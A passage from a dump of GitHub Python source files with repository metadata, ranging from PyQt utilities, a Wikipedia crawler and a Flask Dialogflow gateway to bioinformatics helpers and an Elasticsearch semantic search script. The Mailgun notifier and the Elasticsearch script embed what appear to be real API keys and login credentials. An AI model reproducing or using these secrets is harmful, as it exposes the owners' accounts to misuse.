Voxels\"\n        )\n        for ii in iters:\n            vf.fractal.append(\n                cls._makeVoxel(vf.fractal[ii - 1], arrpath[ii], arrpath[ii + 1])\n            )\n            # print np.around(arrpath[ii], 3)\n        # print \"Path Length: \", len(vf.fractal)\n\n        return vf\n\n    @classmethod\n    def fromLString(cls, lstring: str, pbar: bool = False):\n        \"\"\"Convert an L-String into a VoxelisedFractal\n\n        :param lstring: L-String to convert\n        :param pbar: Show a progress bar for generating path and voxels\n\n        :returns: Voxelised Fractal representation\n        \"\"\"\n        path = hilbert.generate_path(lstring, n=1, distance=1, pbar=pbar)\n\n        return cls.from_path(path, pbar=pbar)\n","repo_name":"natl/fractaldna","sub_path":"fractaldna/structure_models/voxelisation.py","file_name":"voxelisation.py","file_ext":"py","file_size_in_byte":19928,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"}
+{"seq_id":"24684295992","text":"import logging\n\nlogging.basicConfig(level=\"INFO\")\n\ndef sneezes(number_of_days: int, number_of_slimes: int):\n    \"\"\"\n    m ~= 2^n\n    let's try calculating all possibilities backwards.\n    \"\"\"\n    logging.info(\"%s, %s\", number_of_days, number_of_slimes)\n\n    if number_of_slimes == 0:\n        return 0\n    if number_of_days == 0:\n        return None\n\n    previous_day_idx = number_of_days - 1\n    \n    if number_of_slimes % 2 != 0:\n        return None\n    \n    previous_count_without_sneeze = number_of_slimes // 2\n    without_sneeze = sneezes(previous_day_idx, previous_count_without_sneeze)\n    if without_sneeze is not None:\n        return without_sneeze\n    \n    previous_count_with_sneeze = previous_count_without_sneeze - 1\n    if previous_count_with_sneeze < 0:\n        return None\n\n    return 1 + sneezes(previous_day_idx, previous_count_with_sneeze)\n\ndef main() -> None:\n    n, m = (int(v) for v in input().split())\n    sneeze_count = sneezes(n, m)\n    print(sneeze_count)\n\nif __name__ == \"__main__\":\n    main()","repo_name":"droogmic/kattis","sub_path":"babypanda/babypanda.py","file_name":"babypanda.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40737782897","text":"#<head>--------------------------------------------------------------------------</head>-#\n#@description:RobinJr's personnal GUI interface for GreatWork\n#@author:RobinJr.\n#@firstedit:2018/4/12\n#@lastedit :2018/4/17\n\n#<bug>---------------------------------------------------------------------------</bug>-#\n#@bug2018/4/17\n#class TrayIcon.quit  bug:self.parent().exit() will not let the application exit\n#@debug2018/4/17\n#                     substitute by self.parent().close()\n\n#<body>--------------------------------------------------------------------------</body>-#\nimport sys\nimport os\n# from Module import * get all the 'public' object of Module\nfrom PyQt5.QtWidgets import *               #Widgets: the primary elements for creating user interfaces in Qt.\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\n\n#QsystemTrayIcon \nclass TrayIcon(QSystemTrayIcon):\n    def __init__(self,parent=None):\n        super(TrayIcon,self).__init__(parent)               #super():a function to invoke the parents' method\n        self.seticon()\n        self.showMenu()\n    def showMenu(self):\n        # create the main menu for Tray\n        self.menu           = QMenu()\n        # add the exit action\n        self.quitAction     = QAction(\"exit\",self,triggered = self.quit)\n        self.menu.addAction(self.quitAction)\n\n        self.setContextMenu(self.menu)\n    #set the function of exit Action    \n    def quit(self):\n        self.setVisible(False)\n        self.parent().close()\n        qApp.quit()\n        sys.exit()\n    def seticon(self):\n        # the format of setIcon() must be .ico \n        # !!!: .png file can't be read\n        self.setIcon(QIcon(\"./document/bitbug_favicon.ico\"))\n        self.icon           = self.MessageIcon()\n    def Mshowmassage(self, title ,string):\n        self.showMessage(title,string,self.icon,1)\n\nclass window(QWidget):\n    def __init__(self,parent=None):\n        super(window,self).__init__(parent)\n        self.ti = TrayIcon(self)\n        self.ti.show()\n        self.ti.Mshowmassage(\"小Z\",\"hello\")\n\n\n#<main>--------------------------------------------------------------------------</main>-#\n# a place for test\nif __name__ == \"__main__\":\n    # QApplication class manages the GUI application's control flow and main settings\n    # sys.argv is a list in Python,which contains the command-line arguments passed to the script\n    # especially,sys.arg[0] is the name of the script\n    t   = os.system('clear')\n    app = QApplication(sys.argv)\n    w   = window()\n#    w.show()\n    sys.exit(app.exec_())\n","repo_name":"RobinJr555/FakeTigerUbuntu","sub_path":"Gui.py","file_name":"Gui.py","file_ext":"py","file_size_in_byte":2528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74443885842","text":"\"\"\"This file is part of Tracker.\nTracker is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\nTracker is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\nYou should have received a copy of the GNU General Public License\nalong with Tracker. If not, see <http://www.gnu.org/licenses/>.\n\"\"\"\nimport rich_click as click\n\n\ndef display(desc: str, has_desc: bool, has_no_desc: bool) -> None:\n    if desc and has_no_desc:\n        raise click.UsageError(f\"You supplied both --desc \\\"{desc}\\\" and --has-no-desc.\\n\"\n                               f\"Cannot search for entries using these two options at the same time.\")\n    if has_no_desc and has_desc:\n        raise click.UsageError(f\"You supplied both --has-no-desc and --has-desc.\\n\"\n                               f\"Cannot search for entries using these two options at the same time.\")\n","repo_name":"guemax/tracker","sub_path":"tracker/view/show_view/error.py","file_name":"error.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"28845970944","text":"import requests\nfrom bs4 import BeautifulSoup\n\ndef backup():\n    while len(queue) != 0 : #While links in queue repeat\n        link = queue[0] #Get first link\n        page = requests.get(f'https://en.wikipedia.org/{link}') #Send a request to site\n        soup = BeautifulSoup(page.content,'html.parser') \n        links = soup.find_all('a',{'href':True}) #Find all <a> tags with href\n        for a in links: #Loop links\n            href = a['href'] #Get href \n            if '/wiki/' in href and ':' not in href and '?' not in href and '//' not in href: #Check if its a valid link\n                if href not in crawled and href not in queue: #Check if there is already in queue or crawled\n                    queue.append(href) #Append to queue\n        crawled.add(queue.pop(0)) #Remove link from queue and add it to crawl\n        print(f'link:{link}   queue:{len(queue)}   crawled:{len(crawled)}') #Print progress to user\n\nif __name__ == \"__main__\":\n    queue = list() #Init queue\n    crawled = set() #Init crawled\n    queue.append('/wiki/Mia_Khalifa') #Starting link\n    try:\n        backup() #Start looping\n    except KeyboardInterrupt: #When you press Ctrl+C write everything to file\n        with open('./links.txt','a') as file: #Open file\n            for link in queue: #Loop through queue\n                try:\n                    file.write(link + '\\n' + crawled.pop() + '\\n') #Write queue link and crawled link\n                except:\n                    file.write(link + '\\n') #If there is no links in crawled there is an exception and write only queue link\n","repo_name":"Giapa/Tutorials","sub_path":"Web-Scraping-Basics/Examples/example2.py","file_name":"example2.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"14356764764","text":"import cv2\n\n#time_lapse\ntime_var = 0\ntime_lapse = int(input('x speed:')) #------x speed------\n\n#video cap\ncapture = cv2.VideoCapture(\"video/video.mov\")\ncapture.set(cv2.CAP_PROP_FRAME_WIDTH, 640)\ncapture.set(cv2.CAP_PROP_FRAME_HEIGHT, 480)\n\n#width & height\nwidth = capture.get(cv2.CAP_PROP_FRAME_WIDTH)\nheight = capture.get(cv2.CAP_PROP_FRAME_HEIGHT)\n\n#output video\nfourcc = cv2.VideoWriter_fourcc(*'DIVX')\nout = cv2.VideoWriter('video/output_video.avi', fourcc, 30.0, (int(width), int(height)))\n\nwhile True:\n    ret, frame = capture.read()\n    time_var += 1\n    print(time_var)\n    if time_var > time_lapse:\n        time_var = 0\n        cv2.imshow(\"VideoFrame\", frame)\n        out.write(frame)\n\n    if cv2.waitKey(1) > 0: break\n\ncapture.release()\nout.release()\ncv2.destroyAllWindows()","repo_name":"rkddudgns98/time_lapse","sub_path":"time_lapse.py","file_name":"time_lapse.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"16663211026","text":"import sys, os\nfrom flask import Flask, request, make_response, jsonify\nfrom flask_cors import CORS, cross_origin\n\nimport dialogflow\nfrom google.api_core.exceptions import InvalidArgument\nfrom google.protobuf.json_format import MessageToDict\n\nDIALOGFLOW_PROJECT_ID = os.environ['GOOGLE_CLOUD_PROJECT'] # Ensure GCP Project ID is set\n# os.environ['GOOGLE_APPLICATION_CREDENTIALS'] = \"/home/user/Downloads/service_account_keys.json\" #If local machine\n\nDOMAINS_ALLOWED = \"*\" # You can restrict only for your sites here\napp = Flask(__name__)\ncors = CORS(app, resources={r\"/*\": {\"origins\": DOMAINS_ALLOWED}})\n\n@app.route('/')\ndef index():\n    return 'The server is running... Yaayy!!!'\n\n@app.route('/get_dialogflow_agent', methods=['GET'])\ndef get_dialogflow_account_details():\n    client = dialogflow.AgentsClient()\n    parent = client.project_path(DIALOGFLOW_PROJECT_ID)\n    details = client.get_agent(parent)\n    return make_response(jsonify(MessageToDict(details)))\n\n@app.route('/detect_intent', methods=['POST'])\ndef get_response_for_query():\n    input_ = request.get_json(force=True)\n    session_id = input_[\"session\"]\n    text_data = input_[\"queryInput\"][\"text\"][\"text\"]\n    language_code = input_[\"queryInput\"][\"text\"][\"languageCode\"]\n\n    session_client = dialogflow.SessionsClient()\n    session = session_client.session_path(\n        DIALOGFLOW_PROJECT_ID, session_id)\n    text_input = dialogflow.types.TextInput(\n        text=text_data, language_code=language_code)\n    query_input = dialogflow.types.QueryInput(text=text_input)\n    try:\n        response = session_client.detect_intent(\n            session=session, query_input=query_input)\n    except InvalidArgument:\n        raise\n\n    return make_response(jsonify(MessageToDict(response)))\n\nif __name__ == '__main__':\n    # Run Flask server\n    app.run(port=8000, debug=True)\n","repo_name":"narVidhai/Dialogflow-Gateway-Server","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"17920253404","text":"import json\nimport requests\nimport pika\nimport os\n\n# AMQP\n\n\ndef sendNotification(data):\n    # { \"email\" : xxx , \"data\": [{\"from\": \"B.Y. Solutions <postmaster@sandbox2257105e012e438cab8c6547d9de3687.mailgun.org>\",\n    # \t\t  \"to\": [emailAddr],\n    # \t\t  \"subject\": \"Booking ID: \" + bookingID + \" Congratulations! Your booking has been successfully made.\",\n    # \t\t  \"text\": \"Dear Valued Customer, \\n\\nThank you for your support for B.Y. Solutions. \\nWe hope that you had a great experience working the B.Y. Solutions. \\nThank you for your trust in B.Y. Solutions and we hope to serve you again.\\n\\n\\n\\n\\n\\n\\nYours Sincerely, \\nB.Y. Solutions\"}]}\n    # emailAddr = body[\"email\"]\n    for x in data:\n        if x != \"bookingID\":\n            txt = data[x]\n            if \"\\n\" in txt:\n                txt = txt.replace(\"\\n\", \"\")\n            print(x, \":\", txt)\n    response = requests.post(\n        \"https://api.mailgun.net/v3/sandbox2257105e012e438cab8c6547d9de3687.mailgun.org/messages\",\n        auth=(\"api\", \"8fb03ff2e224ee6b7dc703ae1a448d65-ed4dc7c4-6a367438\"),\n        data=data)\n    if (response.status_code == 200):\n        return \"Successfully Sent\", response.status_code\n    return \"Sending Failed\", response.status_code\n\n\ndef sendCreationNotification():\n    hostname = \"18.138.255.13\" \n    port = 5672  \n    # connect to the broker and set up a communication channel in the connection\n    connection = pika.BlockingConnection(\n        pika.ConnectionParameters(host=hostname, port=port))\n    channel = connection.channel()\n\n    # set up the exchange if the exchange doesn't exist\n    exchangename = \"order_topic\"\n    channel.exchange_declare(exchange=exchangename, exchange_type='topic')\n\n    # prepare a queue for receiving messages\n    queue_name = \"notification\"\n    # 'durable' makes the queue survive broker restarts\n    channel.queue_declare(queue=queue_name, durable=True)\n    # bind the queue to the exchange via the key\n    channel.queue_bind(exchange=exchangename, queue=queue_name,\n                       routing_key='notification.#')\n    channel.basic_qos(prefetch_count=1)\n    # set up a consumer and start to wait for coming messages\n    channel.basic_consume(\n        queue=queue_name, on_message_callback=callback, auto_ack=True)\n    # an implicit loop waiting to receive messages; it doesn't exit by default. Use Ctrl+C in the command window to terminate it.\n    channel.start_consuming()\n\n\n# required signature for the callback; no return\ndef callback(channel, method, properties, body):\n    if 'bookingID' in json.loads(body):\n    \tbookingID = str(json.loads(body)['bookingID'])\n    \tprint(\"RECEIVED EMAILTEXT FOR BOOKINGID: \" + bookingID)\n    else:\n        print(\"RECEIVED\")\n    result = sendNotification(json.loads(body))\n    print()  # print a new line feed\n\n\n# execute this program only if it is run as a script (not by 'import')\nif __name__ == \"__main__\":\n    print(\"This is \" + os.path.basename(__file__) + \": receiving notifications...\")\n    print()\n    sendCreationNotification()\n","repo_name":"jermynyeo/e-commerce-site","sub_path":"Notification/notification.py","file_name":"notification.py","file_ext":"py","file_size_in_byte":3009,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"23270416010","text":"# 4.* Задана натуральная степень k. Сформировать случайным образом \n# список коэффициентов (от 0 до 10) многочлена, записать в файл полученный \n# многочлен не менее 3-х раз.\n# in\n# 9\n# 5\n# 3\n# out in the file\n# 3*x^9 + 3*x^8 - 2*x^6 + 1*x^5 - 3*x^4 - 3*x^2 + 3 = 0\n# 4*x^5 + 1*x^4 - 3*x^3 - 3 = 0\n# 4*x^2 - 4 = 0\n\n# in\n# 0\n# -1\n# 4\n# out in the file\n# 3*x^9 + 3*x^8 - 2*x^6 + 1*x^5 - 3*x^4 - 3*x^2 + 3 = 0\n# 4*x^5 + 1*x^4 - 3*x^3 - 3 = 0\n# 4*x^2 - 4 = 0\n# 2*x^4 - 3*x^3 + 3*x^2 + 1*x^1 - 2 = 0\nfrom random import randint, choice\nk1 = int(input(\"Задайте натуральную степень: \"))\n\ndef polynomial(k):\n    if k <= 0:\n        print(\"Введено некорректное значение\")\n    else:\n        with open(\"dz4.txt\", \"a\", encoding=\"utf-8\") as dz4:\n            y = \"\"\n            sign = ['+', '-']\n            while k > 0:\n                idx = randint(0,4)\n                s = choice(sign)\n                if idx == 0:\n                    k -= 1\n                else:\n                    y += (f\"{idx}*x^{k} {s} \")\n                    k -= 1\n            dz4.write(f\"{y}{idx+1} = 0\\n\")\n                    \npolynomial(k1)\n","repo_name":"Natalia-Orlova/Python_dz4","sub_path":"task4.py","file_name":"task4.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1719507746","text":"from sys import argv\nfrom PyQt5 import QtWidgets, QtCore, QtGui\nfrom tkinter import Tk\nfrom PIL import ImageGrab\nfrom requests import post\n\n\nclass Snipping(QtWidgets.QWidget):                          # this is where the visual stuff for the snipping is created\n    def __init__(self):\n        super().__init__()\n        root = Tk(\"assssssssdddddddd\")\n        screen_width = root.winfo_screenwidth()\n        screen_height = root.winfo_screenheight()\n        self.setGeometry(0, 0, screen_width, screen_height)\n        self.begin = QtCore.QPoint()\n        self.end = QtCore.QPoint()\n        self.setWindowOpacity(0.15)\n        QtWidgets.QApplication.setOverrideCursor(QtGui.QCursor(QtCore.Qt.CrossCursor))\n        self.setWindowFlags(QtCore.Qt.FramelessWindowHint)\n\n        self.show()\n        root.destroy()\n\n    def paintEvent(self, event):\n        qp = QtGui.QPainter(self)\n        qp.setPen(QtGui.QPen(QtGui.QColor('black'), 3))\n        qp.setBrush(QtGui.QColor(116, 120, 128, 200))\n        qp.drawRect(QtCore.QRect(self.begin, self.end))\n\n    def mousePressEvent(self, event):\n        self.begin = event.pos()\n        self.end = self.begin\n        self.update()\n\n    def mouseMoveEvent(self, event):\n        self.end = event.pos()\n        self.update()\n\n    def mouseReleaseEvent(self, event):\n        self.close()\n\n        x1 = min(self.begin.x(), self.end.x())\n        y1 = min(self.begin.y(), self.end.y())\n        x2 = max(self.begin.x(), self.end.x())\n        y2 = max(self.begin.y(), self.end.y())\n\n        img = ImageGrab.grab(bbox=(x1, y1, x2, y2))\n        img.save('image.png')\n\n\ndef takeSnip():\n    app = QtWidgets.QApplication(argv)                          # this function prompts the user to take a snip\n    window = Snipping()\n    window.show()\n    app.exec_()\n\n\ndef searchImage(path):                                              # this function reverse searches the image with\n    searchUrl = 'http://www.google.com/searchbyimage/upload'        # given path and returns link\n    multipart = {'encoded_image': (path, open(path, 'rb')), 'image_content': ''}\n    response = post(searchUrl, files=multipart, allow_redirects=False)\n\n    return response.headers['Location']\n","repo_name":"waterpepene/Snip-Reverse-Google-Search","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70953413521","text":"# -*- coding: UTF-8 -*-\n\nfrom PySide2.QtCore import *\nfrom PySide2.QtWidgets import *\n\nfrom moduels.component.NormalValue import 常量\n\n\n# 可拖入文件的单行编辑框\nclass Widget_FileLineEdit(QLineEdit):\n    \"\"\"实现文件拖放功能\"\"\"\n    signal = Signal(str)\n\n    def __init__(self):\n        super().__init__()\n        # self.setAcceptDrops(True) # 设置接受拖放动作\n\n    def dragEnterEvent(self, e):\n        if True:\n            e.accept()\n        else:\n            e.ignore()\n\n    def dropEvent(self, e):  # 放下文件后的动作\n        if 常量.系统平台 == 'Windows':\n            path = e.mimeData().text().replace('file:///', '')  # 删除多余开头\n        else:\n            path = e.mimeData().text().replace('file://', '')  # 对于 Unix 类系统只删掉两个 '/' 就行了\n        self.setText(path)\n        self.signal.emit(path)\n","repo_name":"HaujetZhao/Markdown-Toolbox","sub_path":"src/moduels/component/Widget_FileLineEdit.py","file_name":"Widget_FileLineEdit.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"zh","doc_type":"code","stars":55,"dataset":"github-code","pt":"3"}
+{"seq_id":"7565200625","text":"import os\nimport supervisely as sly\nfrom supervisely import logger\nfrom supervisely.app.widgets import SlyTqdm\n\nimport sly_functions as f\nimport sly_globals as g\n\nprogress_bar = SlyTqdm()\n\nlogger.info(\"Application has been started\")\n\nlogger.info(\n    \"Script arguments\",\n    extra={\n        \"context.teamId\": g.TEAM_ID,\n        \"context.workspaceId\": g.WORKSPACE_ID,\n        \"modal.state.slyFolder\": g.INPUT_PATH,\n        \"modal.state.files\": g.INPUT_FILES,\n    },\n)\n\ndir_info = g.api.file.list(g.TEAM_ID, g.INPUT_PATH)\n\nif len(dir_info) == 0:\n    raise Exception(f\"There are no files in selected directory: '{g.INPUT_PATH}'\")\n\nif len(dir_info) == 1 and f.is_archive(dir_info[0][\"path\"]):\n    raise Exception(\n        f\"Please select directory with pointclouds. Selected file: '{dir_info[0]['path']}' is archive.\"\n    )\n\nf.download_project(g.api, g.INPUT_PATH)\n\ndatasets_names, datasets_images_map = f.get_datasets_items_map(dir_info, g.STORAGE_DIR)\n\nif g.PROJECT_ID is None:\n    project_name = f.get_project_name_from_input_path(g.INPUT_PATH)\n\n    sly.logger.debug(f\"Project name: {project_name}\")\n\n    project = g.api.project.create(\n        workspace_id=g.WORKSPACE_ID,\n        name=project_name,\n        type=sly.ProjectType.POINT_CLOUDS,\n        change_name_if_conflict=True,\n    )\nelse:\n    project = g.api.project.get_info_by_id(g.PROJECT_ID)\n\npcd_cnt = 0\ndataset_info = None\nfor dataset_name in datasets_names:\n    if g.DATASET_ID is None:\n        dataset_info = g.api.dataset.create(\n            project_id=project.id, name=dataset_name, change_name_if_conflict=True\n        )\n    else:\n        if dataset_info is None:\n            dataset_info = g.api.dataset.get_info_by_id(g.DATASET_ID)\n    used_pcd_names = [pcd.name for pcd in g.api.pointcloud.get_list(dataset_info.id)]\n\n    checked_names = []\n    pcd_names = datasets_images_map[dataset_name][\"pcd_names\"]\n    for pcd_name in pcd_names:\n        if pcd_name in used_pcd_names or pcd_name in checked_names:\n            temp_name, temp_ext = os.path.splitext(pcd_name)\n            new_file_name = f\"{temp_name}_{sly.rand_str(5)}{temp_ext}\"\n            sly.logger.warning(\n                f\"Name {pcd_name} already exists in dataset {dataset_info.name}: renamed to {new_file_name}\"\n            )\n            checked_names.append(new_file_name)\n        else:\n            checked_names.append(pcd_name)\n    pcd_paths = datasets_images_map[dataset_name][\"pcd_paths\"]\n    pcd_rel_images_paths = datasets_images_map[dataset_name][\"pcd_related_images\"][\"images_paths\"]\n    pcd_rel_images_meta_paths = datasets_images_map[dataset_name][\"pcd_related_images\"][\n        \"images_metas_paths\"\n    ]\n\n    try:\n        pointclouds_infos = f.upload_pointclouds(\n            api=g.api,\n            dataset_id=dataset_info.id,\n            dataset_name=dataset_info.name,\n            progress_bar=progress_bar,\n            pcd_names=checked_names,\n            pcd_paths=pcd_paths,\n        )\n        pcd_cnt += len(pointclouds_infos)\n        if pcd_rel_images_paths.count(None) != len(pcd_rel_images_paths):\n            f.upload_related_images(\n                api=g.api,\n                dataset_name=dataset_info.name,\n                progress_bar=progress_bar,\n                pointclouds_infos=pointclouds_infos,\n                pcd_rel_images_paths=pcd_rel_images_paths,\n                pcd_rel_images_meta_paths=pcd_rel_images_meta_paths,\n            )\n    except:\n        sly.logger.error(\n            msg=f\"Couldn't upload files from '{dataset_name}' dataset. Please check directory's file \"\n            f\"structure, for subdirectories and duplicated file names\"\n        )\n        continue\n\nif pcd_cnt == 0:\n    raise Exception(\"No pointclouds were uploaded. Please check directory's file structure.\")\n\nif g.REMOVE_SOURCE and not g.IS_ON_AGENT:\n    g.api.file.remove(team_id=g.TEAM_ID, path=g.INPUT_PATH)\n    source_dir_name = g.INPUT_PATH.lstrip(\"/\").rstrip(\"/\")\n    sly.logger.info(msg=f\"Source directory: '{source_dir_name}' was successfully removed.\")\n\ng.api.task.set_output_project(task_id=g.TASK_ID, project_id=project.id, project_name=project.name)\n\nf.shutdown_app()\n","repo_name":"supervisely-ecosystem/import-pointcloud-pcd","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70785178323","text":"# object oriented programming\r\n# in this we have class and object\r\n#class-design (blueprint)\r\n#object is the isinstance()\r\n\r\n# defining the class\r\n\r\nclass computer:\r\n    def config(self):\r\n        print('i5, 16gb,1tb')\r\n\r\n# defing the object\r\ncomp1= computer()\r\n# knowing the class of comp1\r\nprint(type(comp1))\r\n# now how to call the method(function)\r\ncomputer.config(comp1)\r\n#other method used generally\r\ncomp1.config()\r\n","repo_name":"Codingforru/pythoncodes","sub_path":"oops.py","file_name":"oops.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18522087031","text":"### get context info for sgRNA\n\nimport pandas as pd\n\ndef _get_reverse_sgRNA_context(seq, df, flank_N):\n\n    \"\"\"\"\"\"\n\n    # isolate all reverse strand sgRNAs\n    reverse_guides = df.loc[df.strand == \"-\"]\n\n    context_bound_5prime = reverse_guides.PAM_loci - [3 + flank_N]\n    context_bound_3prime = reverse_guides.PAM_loci + [20 + flank_N]\n\n    guide_context_seqs = []\n\n    if len(context_bound_5prime) == len(context_bound_3prime):\n        for i in range(len(context_bound_5prime)):\n            guide_context = seq[\n                context_bound_5prime.tolist()[i] : context_bound_3prime.tolist()[i]\n            ]\n            guide_context_seqs.append(guide_context)\n\n    reverse_guides[\"guide_context\"] = guide_context_seqs\n\n    return reverse_guides\n\n\ndef _get_forward_sgRNA_context(seq, df, flank_N):\n\n    \"\"\"\"\"\"\n\n    # isolate all reverse strand sgRNAs\n    forward_guides = df.loc[df.strand == \"+\"]\n\n    context_bound_5prime = forward_guides.PAM_loci - [20 + flank_N]\n    context_bound_3prime = forward_guides.PAM_loci + [3 + flank_N]\n\n    guide_context_seqs = []\n\n    if len(context_bound_5prime) == len(context_bound_3prime):\n        for i in range(len(context_bound_5prime)):\n            guide_context = seq[\n                context_bound_5prime.tolist()[i] : context_bound_3prime.tolist()[i]\n            ]\n            guide_context_seqs.append(guide_context)\n\n    forward_guides[\"guide_context\"] = guide_context_seqs\n\n    return forward_guides\n\n\ndef _add_sgRNA_context(df, chrom_seq, flank_N=10):\n\n    \"\"\"\n    Get the flanking N nts (default N=10) around a protospacer + PAM\n    DF and chrom_seqs must be sorted by chromosome order\n    \"\"\"\n\n    dfs = []\n\n    for i, chrom in enumerate(df[\"Chromosome\"].unique()):\n\n        chrom_df = df.loc[df[\"Chromosome\"] == chrom]\n\n        forw_context_added_df = _get_forward_sgRNA_context(\n            chrom_seq[i], chrom_df, flank_N\n        )\n        rev_context_added_df = _get_reverse_sgRNA_context(\n            chrom_seq[i], chrom_df, flank_N\n        )\n\n        dfs.append(forw_context_added_df)\n        dfs.append(rev_context_added_df)\n\n    df = pd.concat(dfs)\n\n    return df","repo_name":"pinellolab/perturb-tools","sub_path":"perturb_tools/_experimental_design/_general/_add_sgRNA_context.py","file_name":"_add_sgRNA_context.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"20856619745","text":"import numpy as np\nimport  cv2\ninputvideo = input(\"Enter your video name \\n\")\ncap = cv2.VideoCapture(r'C:\\xampp\\htdocs\\GraduationProject\\Videos'+inputvideo+'.mp4')\nwhile(cap.isOpened()):\n  ret, frame = cap.read()\n  gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n  cv2.imshow('frame',gray)\n  if cv2.waitKey(1) & 0xFF == ord('q'):\n    break\n\ncap.release()\ncv2.destroyAllWindows()","repo_name":"khaleddsaadd/Pruney","sub_path":"video input.py","file_name":"video input.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23781610078","text":"\"\"\"\nModule containing common utility functions and constants used across the project.\n\"\"\"\nimport time\nfrom datetime import datetime\nfrom collections import deque\nfrom colorama import Fore, Style\n\n\nRED = Fore.LIGHTRED_EX\nRESET = Style.RESET_ALL\n\ndef print_with_timestamp(msg, color=None):\n    \"\"\"\n    Print a message with a timestamp.\n    \"\"\"\n    current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n    if color:\n        print(f\"{color}[{current_time}] {msg}{RESET}\")\n    else:\n        print(f\"[{current_time}] {msg}\")\n\n\ndef cleanup_tracker(tracker, time_window):\n    \"\"\"\n    Clean up old entries in the tracker based on the given time window.\n    \"\"\"\n    current_time = time.time()\n    for key in list(tracker.keys()):\n        if 'count' not in tracker[key]:\n            tracker[key]['count'] = 0\n        if 'times' not in tracker[key]:\n            tracker[key]['times'] = deque()\n\n        times = tracker[key]['times']\n        while times and current_time - times[0] > time_window:\n            times.popleft()\n            tracker[key]['count'] -= 1\n        if not times:\n            del tracker[key]\n\n","repo_name":"Nav3h/NetFortress","sub_path":"IDS/utils/common_utils.py","file_name":"common_utils.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3643312438","text":"from elasticsearch import Elasticsearch\nfrom sentence_transformers import SentenceTransformer\nfrom data import get_data\nfrom open_ai import chat_bot\n\nes_client = Elasticsearch(\n    cloud_id = \"9fce15780618432c8f33529d634d1fce:dXMtY2VudHJhbDEuZ2NwLmNsb3VkLmVzLmlvOjQ0MyRmMzQ2OTkyNzc2MGQ0MzE3YmFkNTBkOWIyNGMyMDEwMCQ2MDBkZDI1MjMzNDc0ZGM3OTI2NzkxNjhkM2M2ZGM5YQ==\",\n    basic_auth = (\"elastic\", \"OhGKuj5af4UGo6p9txKgC76B\"),\n)\n\ndef create_index(index_name):\n    es_client.indices.create(\n        index = index_name,\n        mappings={\n            \"properties\": {\n                \"id\": {\n                    \"type\": \"text\",\n                },\n                \"data\": {\n                    \"type\": \"text\",\n                },\n                \"embeddings\": {\n                    \"type\": \"dense_vector\",\n                    \"dims\": 768, \n                }\n            }\n        }\n    )\n\nembedder = SentenceTransformer('multi-qa-mpnet-base-dot-v1')\n\ndef index_content(data, id, index_name):\n    embeddings = embedder.encode(data)\n    data = {\n        \"id\": id,\n        \"data\": data,\n        \"embeddings\": embeddings\n    }\n    es_client.index(\n        index= index_name,\n        document= data\n    )\n\n# web_url = \"https://en.wikipedia.org/wiki/Punjab,_Pakistan\"\n# data = get_data(url=web_url)\n# id = 0\n\n# for chunks in data:\n#     index_content(id=id, data=chunks, index_name=\"wikipedia_data\")\n#     print(f'data for id={id} is indexed in elastic search')\n#     id += 1\n\n# create_index(\"wikipedia-data\")\n\ndef query_data(query, index_name):\n    embeddings = embedder.encode(query)\n    results = es_client.search(\n        index=index_name,\n        size = 2,\n        from_ = 0,\n        source = ['data'],\n        query={\n            \"script_score\":{\n                \"query\":{\n                    \"match\":{\n                        \"data\":query\n                    }\n                },\n                \"script\":{\n                    \"source\": \"\"\" (cosineSimilarity(params.query_vector, 'embeddings') +1)* params.encoder_boost + _score\"\"\",\n                    \"params\":{\n                        \"query_vector\": embeddings,\n                        \"encoder_boost\": 10\n                    },\n                },\n            }\n        }\n    )\n\n    hits = results[\"hits\"]['hits']\n    data_results=[]\n    for hit in hits:\n        data_results.append({\n            \"Data\":hit[\"_source\"][\"data\"]\n        })\n    return data_results\n# name = input(\"What is your name? \")\nquery = (\"which is the capital of pakistan?\")\ndata = query_data(query, \"wikipedia_data\")\n\n\nanswer = chat_bot(question=query, 